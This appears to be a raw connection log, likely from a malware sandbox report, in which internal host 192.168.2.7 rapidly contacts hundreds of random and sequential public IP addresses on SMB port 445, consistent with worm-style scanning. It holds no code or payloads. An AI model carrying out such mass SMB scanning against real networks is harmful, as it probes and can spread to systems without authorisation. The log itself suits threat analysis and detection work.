Jul 20, 2022 13:28:04.466727018 CEST	63712	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:04.466758966 CEST	63712	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:04.467109919 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:04.496762991 CEST	445	63716	93.22.219.6	192.168.2.7
Jul 20, 2022 13:28:04.496884108 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:04.496922016 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:04.745573997 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:04.776740074 CEST	63712	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:04.824064016 CEST	63735	445	192.168.2.7	185.15.42.175
Jul 20, 2022 13:28:04.824079990 CEST	63736	445	192.168.2.7	94.27.140.114
Jul 20, 2022 13:28:04.824187040 CEST	63737	445	192.168.2.7	5.240.140.167
Jul 20, 2022 13:28:04.886152029 CEST	61683	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:28:04.917857885 CEST	63739	445	192.168.2.7	143.245.137.30
Jul 20, 2022 13:28:04.918025017 CEST	63741	445	192.168.2.7	111.146.105.171
Jul 20, 2022 13:28:04.949193954 CEST	63743	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:04.980050087 CEST	445	63743	86.71.147.4	192.168.2.7
Jul 20, 2022 13:28:04.980221987 CEST	63743	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:04.980389118 CEST	63743	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:04.981544971 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:04.995898008 CEST	63746	445	192.168.2.7	176.166.137.4
Jul 20, 2022 13:28:05.012273073 CEST	445	63745	86.71.147.4	192.168.2.7
Jul 20, 2022 13:28:05.012444973 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:05.012552023 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:05.042804003 CEST	63747	445	192.168.2.7	213.7.251.64
Jul 20, 2022 13:28:05.042929888 CEST	63750	445	192.168.2.7	55.246.161.162
Jul 20, 2022 13:28:05.042953014 CEST	63749	445	192.168.2.7	120.127.65.125
Jul 20, 2022 13:28:05.043164015 CEST	63752	445	192.168.2.7	210.138.115.229
Jul 20, 2022 13:28:05.043514967 CEST	63757	445	192.168.2.7	8.129.217.23
Jul 20, 2022 13:28:05.059793949 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:05.168072939 CEST	63767	445	192.168.2.7	185.152.239.131
Jul 20, 2022 13:28:05.168360949 CEST	63770	445	192.168.2.7	216.209.145.6
Jul 20, 2022 13:28:05.169640064 CEST	63788	445	192.168.2.7	10.247.11.151
Jul 20, 2022 13:28:05.170124054 CEST	63794	445	192.168.2.7	1.230.119.231
Jul 20, 2022 13:28:05.170449972 CEST	63798	445	192.168.2.7	94.239.27.226
Jul 20, 2022 13:28:05.170610905 CEST	63800	445	192.168.2.7	90.109.99.66
Jul 20, 2022 13:28:05.171190023 CEST	63807	445	192.168.2.7	130.119.5.139
Jul 20, 2022 13:28:05.171329021 CEST	63809	445	192.168.2.7	196.219.231.31
Jul 20, 2022 13:28:05.171474934 CEST	63811	445	192.168.2.7	15.254.6.221
Jul 20, 2022 13:28:05.171657085 CEST	63812	445	192.168.2.7	60.189.158.128
Jul 20, 2022 13:28:05.172343969 CEST	63822	445	192.168.2.7	118.174.185.89
Jul 20, 2022 13:28:05.172529936 CEST	63824	445	192.168.2.7	97.201.198.73
Jul 20, 2022 13:28:05.172683001 CEST	63826	445	192.168.2.7	110.114.156.23
Jul 20, 2022 13:28:05.173001051 CEST	63829	445	192.168.2.7	188.145.230.38
Jul 20, 2022 13:28:05.173101902 CEST	63830	445	192.168.2.7	169.166.161.191
Jul 20, 2022 13:28:05.173420906 CEST	63832	445	192.168.2.7	223.233.157.203
Jul 20, 2022 13:28:05.173604965 CEST	63834	445	192.168.2.7	46.47.211.126
Jul 20, 2022 13:28:05.261308908 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:05.292495012 CEST	63743	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:05.386217117 CEST	63712	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:05.574362040 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:05.667917013 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:05.886672974 CEST	63845	445	192.168.2.7	185.15.42.176
Jul 20, 2022 13:28:05.886774063 CEST	63846	445	192.168.2.7	5.240.140.168
Jul 20, 2022 13:28:05.886791945 CEST	63847	445	192.168.2.7	94.27.140.115
Jul 20, 2022 13:28:05.901952982 CEST	63743	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:06.027507067 CEST	63863	445	192.168.2.7	72.6.64.138
Jul 20, 2022 13:28:06.027616024 CEST	63866	445	192.168.2.7	202.55.127.130
Jul 20, 2022 13:28:06.058731079 CEST	63868	445	192.168.2.7	176.166.137.5
Jul 20, 2022 13:28:06.152546883 CEST	63870	445	192.168.2.7	180.83.173.58
Jul 20, 2022 13:28:06.152653933 CEST	63872	445	192.168.2.7	177.29.164.162
Jul 20, 2022 13:28:06.152853966 CEST	63874	445	192.168.2.7	193.145.185.39
Jul 20, 2022 13:28:06.152875900 CEST	63875	445	192.168.2.7	166.244.221.102
Jul 20, 2022 13:28:06.153218985 CEST	63880	445	192.168.2.7	17.68.17.74
Jul 20, 2022 13:28:06.183263063 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:06.277012110 CEST	63588	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:06.278054953 CEST	63901	445	192.168.2.7	83.188.169.126
Jul 20, 2022 13:28:06.278688908 CEST	63907	445	192.168.2.7	217.40.187.195
Jul 20, 2022 13:28:06.279093981 CEST	63913	445	192.168.2.7	164.153.244.45
Jul 20, 2022 13:28:06.279151917 CEST	63914	445	192.168.2.7	55.241.149.31
Jul 20, 2022 13:28:06.279617071 CEST	63922	445	192.168.2.7	99.122.146.100
Jul 20, 2022 13:28:06.279668093 CEST	63923	445	192.168.2.7	193.222.160.118
Jul 20, 2022 13:28:06.279908895 CEST	63926	445	192.168.2.7	140.110.152.16
Jul 20, 2022 13:28:06.279967070 CEST	63927	445	192.168.2.7	189.253.135.188
Jul 20, 2022 13:28:06.280466080 CEST	63936	445	192.168.2.7	104.8.13.32
Jul 20, 2022 13:28:06.280536890 CEST	63937	445	192.168.2.7	176.138.50.55
Jul 20, 2022 13:28:06.280670881 CEST	63939	445	192.168.2.7	10.99.43.0
Jul 20, 2022 13:28:06.280891895 CEST	63942	445	192.168.2.7	13.189.135.171
Jul 20, 2022 13:28:06.281002998 CEST	63944	445	192.168.2.7	217.247.85.223
Jul 20, 2022 13:28:06.281105042 CEST	63946	445	192.168.2.7	179.9.70.138
Jul 20, 2022 13:28:06.281220913 CEST	63948	445	192.168.2.7	137.35.95.123
Jul 20, 2022 13:28:06.281757116 CEST	63952	445	192.168.2.7	169.169.79.5
Jul 20, 2022 13:28:06.281817913 CEST	63954	445	192.168.2.7	221.5.195.196
Jul 20, 2022 13:28:06.296372890 CEST	445	63588	172.65.175.13	192.168.2.7
Jul 20, 2022 13:28:06.296525002 CEST	63588	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:06.296572924 CEST	63588	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:06.312957048 CEST	445	63588	172.65.175.13	192.168.2.7
Jul 20, 2022 13:28:06.313636065 CEST	445	63588	172.65.175.13	192.168.2.7
Jul 20, 2022 13:28:06.317817926 CEST	445	63937	176.138.50.55	192.168.2.7
Jul 20, 2022 13:28:06.317969084 CEST	63937	445	192.168.2.7	176.138.50.55
Jul 20, 2022 13:28:06.318011999 CEST	63937	445	192.168.2.7	176.138.50.55
Jul 20, 2022 13:28:06.318294048 CEST	63960	445	192.168.2.7	176.138.50.1
Jul 20, 2022 13:28:06.362807989 CEST	445	63937	176.138.50.55	192.168.2.7
Jul 20, 2022 13:28:06.402806997 CEST	445	63937	176.138.50.55	192.168.2.7
Jul 20, 2022 13:28:06.402918100 CEST	63937	445	192.168.2.7	176.138.50.55
Jul 20, 2022 13:28:06.589534998 CEST	63712	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:06.870750904 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:06.964947939 CEST	63970	445	192.168.2.7	94.27.140.116
Jul 20, 2022 13:28:06.965089083 CEST	63969	445	192.168.2.7	5.240.140.169
Jul 20, 2022 13:28:06.965279102 CEST	63971	445	192.168.2.7	185.15.42.177
Jul 20, 2022 13:28:07.105144024 CEST	63743	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:07.136702061 CEST	63988	445	192.168.2.7	176.166.137.6
Jul 20, 2022 13:28:07.152440071 CEST	63989	445	192.168.2.7	30.170.64.88
Jul 20, 2022 13:28:07.152688980 CEST	63993	445	192.168.2.7	148.241.164.195
Jul 20, 2022 13:28:07.277497053 CEST	63996	445	192.168.2.7	18.236.239.45
Jul 20, 2022 13:28:07.277571917 CEST	63997	445	192.168.2.7	93.194.6.186
Jul 20, 2022 13:28:07.277707100 CEST	63999	445	192.168.2.7	108.126.143.224
Jul 20, 2022 13:28:07.277836084 CEST	64001	445	192.168.2.7	173.13.65.7
Jul 20, 2022 13:28:07.278170109 CEST	64005	445	192.168.2.7	49.167.70.83
Jul 20, 2022 13:28:07.371074915 CEST	64014	445	192.168.2.7	176.138.50.2
Jul 20, 2022 13:28:07.386368990 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:07.402751923 CEST	64021	445	192.168.2.7	19.1.91.140
Jul 20, 2022 13:28:07.403346062 CEST	64032	445	192.168.2.7	44.65.46.221
Jul 20, 2022 13:28:07.403558016 CEST	64036	445	192.168.2.7	26.49.43.15
Jul 20, 2022 13:28:07.403876066 CEST	64041	445	192.168.2.7	2.94.46.170
Jul 20, 2022 13:28:07.404012918 CEST	64043	445	192.168.2.7	160.43.50.130
Jul 20, 2022 13:28:07.404141903 CEST	64045	445	192.168.2.7	94.94.224.125
Jul 20, 2022 13:28:07.404622078 CEST	64054	445	192.168.2.7	167.193.243.39
Jul 20, 2022 13:28:07.404761076 CEST	64056	445	192.168.2.7	107.157.214.82
Jul 20, 2022 13:28:07.404988050 CEST	64060	445	192.168.2.7	206.106.29.92
Jul 20, 2022 13:28:07.405143023 CEST	64062	445	192.168.2.7	188.12.50.176
Jul 20, 2022 13:28:07.405261040 CEST	64064	445	192.168.2.7	113.59.112.197
Jul 20, 2022 13:28:07.405379057 CEST	64066	445	192.168.2.7	206.47.31.129
Jul 20, 2022 13:28:07.405572891 CEST	64070	445	192.168.2.7	132.120.56.72
Jul 20, 2022 13:28:07.405606031 CEST	64071	445	192.168.2.7	77.115.163.229
Jul 20, 2022 13:28:07.406219959 CEST	64079	445	192.168.2.7	14.80.237.17
Jul 20, 2022 13:28:07.406318903 CEST	64081	445	192.168.2.7	178.45.24.207
Jul 20, 2022 13:28:08.057307959 CEST	64092	445	192.168.2.7	94.27.140.117
Jul 20, 2022 13:28:08.057529926 CEST	64093	445	192.168.2.7	185.15.42.178
Jul 20, 2022 13:28:08.057676077 CEST	64094	445	192.168.2.7	5.240.140.170
Jul 20, 2022 13:28:08.073937893 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:08.108127117 CEST	445	64093	185.15.42.178	192.168.2.7
Jul 20, 2022 13:28:08.215267897 CEST	64113	445	192.168.2.7	176.166.137.7
Jul 20, 2022 13:28:08.277664900 CEST	64114	445	192.168.2.7	121.118.176.253
Jul 20, 2022 13:28:08.277668953 CEST	64115	445	192.168.2.7	164.51.63.91
Jul 20, 2022 13:28:08.402949095 CEST	64121	445	192.168.2.7	53.163.82.69
Jul 20, 2022 13:28:08.403099060 CEST	64122	445	192.168.2.7	119.47.151.236
Jul 20, 2022 13:28:08.403101921 CEST	64123	445	192.168.2.7	177.212.62.44
Jul 20, 2022 13:28:08.403768063 CEST	64132	445	192.168.2.7	211.242.232.207
Jul 20, 2022 13:28:08.403939962 CEST	64125	445	192.168.2.7	139.77.56.78
Jul 20, 2022 13:28:08.433963060 CEST	64135	445	192.168.2.7	176.138.50.3
Jul 20, 2022 13:28:08.527950048 CEST	64146	445	192.168.2.7	122.159.205.41
Jul 20, 2022 13:28:08.527971029 CEST	64145	445	192.168.2.7	198.197.42.187
Jul 20, 2022 13:28:08.528228998 CEST	64149	445	192.168.2.7	117.174.168.179
Jul 20, 2022 13:28:08.528403997 CEST	64152	445	192.168.2.7	46.74.226.156
Jul 20, 2022 13:28:08.528493881 CEST	64150	445	192.168.2.7	190.109.240.112
Jul 20, 2022 13:28:08.528656006 CEST	64156	445	192.168.2.7	37.97.64.103
Jul 20, 2022 13:28:08.528830051 CEST	64158	445	192.168.2.7	159.28.152.13
Jul 20, 2022 13:28:08.528953075 CEST	64160	445	192.168.2.7	158.16.254.238
Jul 20, 2022 13:28:08.529489040 CEST	64170	445	192.168.2.7	194.37.186.149
Jul 20, 2022 13:28:08.529767990 CEST	64173	445	192.168.2.7	1.53.46.161
Jul 20, 2022 13:28:08.529998064 CEST	64174	445	192.168.2.7	50.16.163.103
Jul 20, 2022 13:28:08.529998064 CEST	64179	445	192.168.2.7	55.154.33.28
Jul 20, 2022 13:28:08.530520916 CEST	64182	445	192.168.2.7	204.36.211.207
Jul 20, 2022 13:28:08.530905008 CEST	64195	445	192.168.2.7	38.140.96.121
Jul 20, 2022 13:28:08.531642914 CEST	64206	445	192.168.2.7	114.85.132.80
Jul 20, 2022 13:28:08.531644106 CEST	64205	445	192.168.2.7	63.142.90.133
Jul 20, 2022 13:28:08.589582920 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:08.620877028 CEST	64093	445	192.168.2.7	185.15.42.178
Jul 20, 2022 13:28:08.633321047 CEST	445	64195	38.140.96.121	192.168.2.7
Jul 20, 2022 13:28:08.670180082 CEST	445	64093	185.15.42.178	192.168.2.7
Jul 20, 2022 13:28:08.753902912 CEST	445	64150	190.109.240.112	192.168.2.7
Jul 20, 2022 13:28:08.995891094 CEST	63712	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:09.121270895 CEST	64216	445	192.168.2.7	185.15.42.179
Jul 20, 2022 13:28:09.121303082 CEST	64217	445	192.168.2.7	94.27.140.118
Jul 20, 2022 13:28:09.121459007 CEST	64218	445	192.168.2.7	5.240.140.171
Jul 20, 2022 13:28:09.136517048 CEST	64195	445	192.168.2.7	38.140.96.121
Jul 20, 2022 13:28:09.239414930 CEST	445	64195	38.140.96.121	192.168.2.7
Jul 20, 2022 13:28:09.261645079 CEST	64150	445	192.168.2.7	190.109.240.112
Jul 20, 2022 13:28:09.277256012 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:09.293334961 CEST	64237	445	192.168.2.7	176.166.137.8
Jul 20, 2022 13:28:09.324712038 CEST	64238	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:09.342149019 CEST	445	64238	172.65.175.13	192.168.2.7
Jul 20, 2022 13:28:09.342327118 CEST	64238	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:09.342374086 CEST	64238	445	192.168.2.7	172.65.175.13
Jul 20, 2022 13:28:09.359337091 CEST	445	64238	172.65.175.13	192.168.2.7
Jul 20, 2022 13:28:09.359368086 CEST	445	64238	172.65.175.13	192.168.2.7
Jul 20, 2022 13:28:09.402826071 CEST	64239	445	192.168.2.7	141.140.239.153
Jul 20, 2022 13:28:09.402837038 CEST	64240	445	192.168.2.7	177.17.19.186
Jul 20, 2022 13:28:09.418987989 CEST	64244	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:09.448328972 CEST	445	64244	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:09.448556900 CEST	64244	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:09.448596001 CEST	64244	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:09.449482918 CEST	64246	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:09.465763092 CEST	445	64244	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:09.466010094 CEST	445	64244	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:09.466279030 CEST	445	64246	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:09.466423035 CEST	64246	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:09.466454983 CEST	64246	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:09.484610081 CEST	445	64246	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:09.484648943 CEST	445	64246	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:09.488625050 CEST	445	64150	190.109.240.112	192.168.2.7
Jul 20, 2022 13:28:09.511584997 CEST	63743	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:09.512104988 CEST	64247	445	192.168.2.7	176.138.50.4
Jul 20, 2022 13:28:09.527828932 CEST	64249	445	192.168.2.7	62.79.62.35
Jul 20, 2022 13:28:09.528301954 CEST	64256	445	192.168.2.7	143.209.106.63
Jul 20, 2022 13:28:09.528559923 CEST	64259	445	192.168.2.7	81.140.75.39
Jul 20, 2022 13:28:09.528595924 CEST	64260	445	192.168.2.7	16.164.242.96
Jul 20, 2022 13:28:09.528748035 CEST	64261	445	192.168.2.7	155.250.34.199
Jul 20, 2022 13:28:09.652977943 CEST	64272	445	192.168.2.7	111.41.134.52
Jul 20, 2022 13:28:09.653337002 CEST	64279	445	192.168.2.7	10.165.73.51
Jul 20, 2022 13:28:09.654053926 CEST	64280	445	192.168.2.7	198.182.3.31
Jul 20, 2022 13:28:09.654057980 CEST	64292	445	192.168.2.7	99.213.43.229
Jul 20, 2022 13:28:09.654205084 CEST	64294	445	192.168.2.7	195.224.47.205
Jul 20, 2022 13:28:09.654335976 CEST	64296	445	192.168.2.7	200.149.15.101
Jul 20, 2022 13:28:09.654500961 CEST	64298	445	192.168.2.7	131.189.78.6
Jul 20, 2022 13:28:09.654570103 CEST	64300	445	192.168.2.7	90.195.250.165
Jul 20, 2022 13:28:09.654720068 CEST	64302	445	192.168.2.7	182.239.29.224
Jul 20, 2022 13:28:09.654844999 CEST	64304	445	192.168.2.7	65.231.105.39
Jul 20, 2022 13:28:09.655466080 CEST	64316	445	192.168.2.7	214.202.60.182
Jul 20, 2022 13:28:09.655903101 CEST	64324	445	192.168.2.7	121.22.141.42
Jul 20, 2022 13:28:09.656027079 CEST	64326	445	192.168.2.7	40.191.210.82
Jul 20, 2022 13:28:09.656583071 CEST	64330	445	192.168.2.7	186.52.27.224
Jul 20, 2022 13:28:09.656764984 CEST	64334	445	192.168.2.7	202.190.225.129
Jul 20, 2022 13:28:09.656857967 CEST	64335	445	192.168.2.7	53.16.144.44
Jul 20, 2022 13:28:09.794317007 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:10.184206963 CEST	64344	445	192.168.2.7	94.27.140.119
Jul 20, 2022 13:28:10.184408903 CEST	64343	445	192.168.2.7	5.240.140.172
Jul 20, 2022 13:28:10.184458017 CEST	64345	445	192.168.2.7	185.15.42.180
Jul 20, 2022 13:28:10.355834961 CEST	64349	445	192.168.2.7	176.166.137.9
Jul 20, 2022 13:28:10.512193918 CEST	64367	445	192.168.2.7	197.144.215.114
Jul 20, 2022 13:28:10.512253046 CEST	64369	445	192.168.2.7	134.24.8.91
Jul 20, 2022 13:28:10.590699911 CEST	64371	445	192.168.2.7	176.138.50.5
Jul 20, 2022 13:28:10.654454947 CEST	64372	445	192.168.2.7	196.73.62.60
Jul 20, 2022 13:28:10.654509068 CEST	64374	445	192.168.2.7	178.84.145.225
Jul 20, 2022 13:28:10.654628038 CEST	64375	445	192.168.2.7	87.70.92.154
Jul 20, 2022 13:28:10.654782057 CEST	64377	445	192.168.2.7	19.221.144.93
Jul 20, 2022 13:28:10.655236959 CEST	64385	445	192.168.2.7	12.245.120.68
Jul 20, 2022 13:28:10.724266052 CEST	445	64372	196.73.62.60	192.168.2.7
Jul 20, 2022 13:28:10.762661934 CEST	64392	445	192.168.2.7	156.64.11.216
Jul 20, 2022 13:28:10.763170004 CEST	64398	445	192.168.2.7	107.43.90.224
Jul 20, 2022 13:28:10.763186932 CEST	64397	445	192.168.2.7	106.173.61.111
Jul 20, 2022 13:28:10.763938904 CEST	64409	445	192.168.2.7	86.1.234.172
Jul 20, 2022 13:28:10.764130116 CEST	64413	445	192.168.2.7	15.97.157.201
Jul 20, 2022 13:28:10.764244080 CEST	64414	445	192.168.2.7	202.192.194.161
Jul 20, 2022 13:28:10.764427900 CEST	64417	445	192.168.2.7	135.99.13.163
Jul 20, 2022 13:28:10.764463902 CEST	64418	445	192.168.2.7	150.146.2.175
Jul 20, 2022 13:28:10.764657974 CEST	64420	445	192.168.2.7	157.83.144.140
Jul 20, 2022 13:28:10.764775991 CEST	64422	445	192.168.2.7	128.215.9.170
Jul 20, 2022 13:28:10.765490055 CEST	64434	445	192.168.2.7	190.31.135.89
Jul 20, 2022 13:28:10.765913963 CEST	64442	445	192.168.2.7	176.8.179.115
Jul 20, 2022 13:28:10.766048908 CEST	64443	445	192.168.2.7	153.186.101.142
Jul 20, 2022 13:28:10.766366959 CEST	64448	445	192.168.2.7	119.136.79.56
Jul 20, 2022 13:28:10.766576052 CEST	64452	445	192.168.2.7	119.183.199.56
Jul 20, 2022 13:28:10.766721010 CEST	64453	445	192.168.2.7	215.231.131.74
Jul 20, 2022 13:28:11.230508089 CEST	64372	445	192.168.2.7	196.73.62.60
Jul 20, 2022 13:28:11.262151003 CEST	64467	445	192.168.2.7	185.15.42.181
Jul 20, 2022 13:28:11.262391090 CEST	64468	445	192.168.2.7	5.240.140.173
Jul 20, 2022 13:28:11.262512922 CEST	64469	445	192.168.2.7	94.27.140.120
Jul 20, 2022 13:28:11.356051922 CEST	445	64372	196.73.62.60	192.168.2.7
Jul 20, 2022 13:28:11.435020924 CEST	64472	445	192.168.2.7	176.166.137.10
Jul 20, 2022 13:28:11.621784925 CEST	64491	445	192.168.2.7	36.131.181.15
Jul 20, 2022 13:28:11.621862888 CEST	64493	445	192.168.2.7	12.34.178.164
Jul 20, 2022 13:28:11.652848959 CEST	64494	445	192.168.2.7	176.138.50.6
Jul 20, 2022 13:28:11.683690071 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:11.778871059 CEST	64497	445	192.168.2.7	211.165.14.37
Jul 20, 2022 13:28:11.778960943 CEST	64498	445	192.168.2.7	182.93.94.0
Jul 20, 2022 13:28:11.779038906 CEST	64500	445	192.168.2.7	201.42.157.58
Jul 20, 2022 13:28:11.779067039 CEST	64501	445	192.168.2.7	84.167.13.127
Jul 20, 2022 13:28:11.779506922 CEST	64510	445	192.168.2.7	205.84.0.161
Jul 20, 2022 13:28:11.887159109 CEST	64516	445	192.168.2.7	60.181.30.177
Jul 20, 2022 13:28:11.887284040 CEST	64518	445	192.168.2.7	74.112.95.239
Jul 20, 2022 13:28:11.887634993 CEST	64526	445	192.168.2.7	110.30.253.123
Jul 20, 2022 13:28:11.887684107 CEST	64527	445	192.168.2.7	194.52.189.244
Jul 20, 2022 13:28:11.887978077 CEST	64533	445	192.168.2.7	204.42.93.220
Jul 20, 2022 13:28:11.888586998 CEST	64547	445	192.168.2.7	1.125.195.183
Jul 20, 2022 13:28:11.888607979 CEST	64548	445	192.168.2.7	132.234.254.132
Jul 20, 2022 13:28:11.888781071 CEST	64550	445	192.168.2.7	129.179.106.35
Jul 20, 2022 13:28:11.888914108 CEST	64553	445	192.168.2.7	80.18.37.228
Jul 20, 2022 13:28:11.888937950 CEST	64554	445	192.168.2.7	190.1.67.49
Jul 20, 2022 13:28:11.889055967 CEST	64555	445	192.168.2.7	84.108.218.126
Jul 20, 2022 13:28:11.889185905 CEST	64558	445	192.168.2.7	77.150.205.89
Jul 20, 2022 13:28:11.889715910 CEST	64570	445	192.168.2.7	180.186.110.129
Jul 20, 2022 13:28:11.889848948 CEST	64573	445	192.168.2.7	26.213.64.60
Jul 20, 2022 13:28:11.890090942 CEST	64577	445	192.168.2.7	146.108.203.163
Jul 20, 2022 13:28:11.890392065 CEST	64583	445	192.168.2.7	167.85.166.120
Jul 20, 2022 13:28:11.968693018 CEST	445	64555	84.108.218.126	192.168.2.7
Jul 20, 2022 13:28:12.199376106 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:12.340653896 CEST	64591	445	192.168.2.7	185.15.42.182
Jul 20, 2022 13:28:12.340960026 CEST	64592	445	192.168.2.7	94.27.140.121
Jul 20, 2022 13:28:12.342417002 CEST	64593	445	192.168.2.7	5.240.140.174
Jul 20, 2022 13:28:12.480593920 CEST	64555	445	192.168.2.7	84.108.218.126
Jul 20, 2022 13:28:12.496440887 CEST	64594	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:12.512372971 CEST	64596	445	192.168.2.7	176.166.137.11
Jul 20, 2022 13:28:12.513581038 CEST	445	64594	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:12.513715982 CEST	64594	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:12.513782978 CEST	64594	445	192.168.2.7	172.65.175.14
Jul 20, 2022 13:28:12.530313015 CEST	445	64594	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:12.530813932 CEST	445	64594	172.65.175.14	192.168.2.7
Jul 20, 2022 13:28:12.562130928 CEST	445	64555	84.108.218.126	192.168.2.7
Jul 20, 2022 13:28:12.590651035 CEST	64599	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:12.607305050 CEST	445	64599	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:12.607517004 CEST	64599	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:12.607558012 CEST	64599	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:12.608037949 CEST	64600	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:12.624380112 CEST	445	64599	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:12.624548912 CEST	445	64600	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:12.624669075 CEST	64600	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:12.624717951 CEST	64600	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:12.624946117 CEST	445	64599	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:12.641680002 CEST	445	64600	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:12.641700983 CEST	445	64600	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:12.699759007 CEST	64616	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:28:12.730921030 CEST	64617	445	192.168.2.7	176.138.50.7
Jul 20, 2022 13:28:12.746850014 CEST	64620	445	192.168.2.7	152.130.194.205
Jul 20, 2022 13:28:12.746978045 CEST	64622	445	192.168.2.7	39.167.56.172
Jul 20, 2022 13:28:12.769486904 CEST	445	64617	176.138.50.7	192.168.2.7
Jul 20, 2022 13:28:12.769624949 CEST	64617	445	192.168.2.7	176.138.50.7
Jul 20, 2022 13:28:12.769777060 CEST	64617	445	192.168.2.7	176.138.50.7
Jul 20, 2022 13:28:12.770330906 CEST	64623	445	192.168.2.7	176.138.50.7
Jul 20, 2022 13:28:12.808605909 CEST	445	64623	176.138.50.7	192.168.2.7
Jul 20, 2022 13:28:12.808816910 CEST	64623	445	192.168.2.7	176.138.50.7
Jul 20, 2022 13:28:12.808969021 CEST	64623	445	192.168.2.7	176.138.50.7
Jul 20, 2022 13:28:12.816256046 CEST	445	64617	176.138.50.7	192.168.2.7
Jul 20, 2022 13:28:12.834453106 CEST	445	64617	176.138.50.7	192.168.2.7
Jul 20, 2022 13:28:12.834624052 CEST	64617	445	192.168.2.7	176.138.50.7
Jul 20, 2022 13:28:12.845952034 CEST	445	64623	176.138.50.7	192.168.2.7
Jul 20, 2022 13:28:12.904300928 CEST	64625	445	192.168.2.7	108.153.121.36
Jul 20, 2022 13:28:12.904536009 CEST	64628	445	192.168.2.7	115.138.178.11
Jul 20, 2022 13:28:12.904665947 CEST	64629	445	192.168.2.7	187.33.139.190
Jul 20, 2022 13:28:12.905138016 CEST	64639	445	192.168.2.7	203.110.16.239
Jul 20, 2022 13:28:12.905172110 CEST	64630	445	192.168.2.7	177.45.71.59
Jul 20, 2022 13:28:12.934781075 CEST	445	64623	176.138.50.7	192.168.2.7
Jul 20, 2022 13:28:12.934945107 CEST	64623	445	192.168.2.7	176.138.50.7
Jul 20, 2022 13:28:12.971858978 CEST	445	64623	176.138.50.7	192.168.2.7
Jul 20, 2022 13:28:13.012284994 CEST	64645	445	192.168.2.7	49.57.7.53
Jul 20, 2022 13:28:13.012413979 CEST	64647	445	192.168.2.7	40.135.207.99
Jul 20, 2022 13:28:13.012603045 CEST	64650	445	192.168.2.7	195.238.234.249
Jul 20, 2022 13:28:13.012806892 CEST	64655	445	192.168.2.7	94.111.126.83
Jul 20, 2022 13:28:13.013495922 CEST	64670	445	192.168.2.7	140.196.164.202
Jul 20, 2022 13:28:13.013536930 CEST	64671	445	192.168.2.7	111.62.81.16
Jul 20, 2022 13:28:13.013845921 CEST	64674	445	192.168.2.7	214.245.37.22
Jul 20, 2022 13:28:13.013859987 CEST	64676	445	192.168.2.7	158.45.62.165
Jul 20, 2022 13:28:13.013875008 CEST	64677	445	192.168.2.7	109.93.170.213
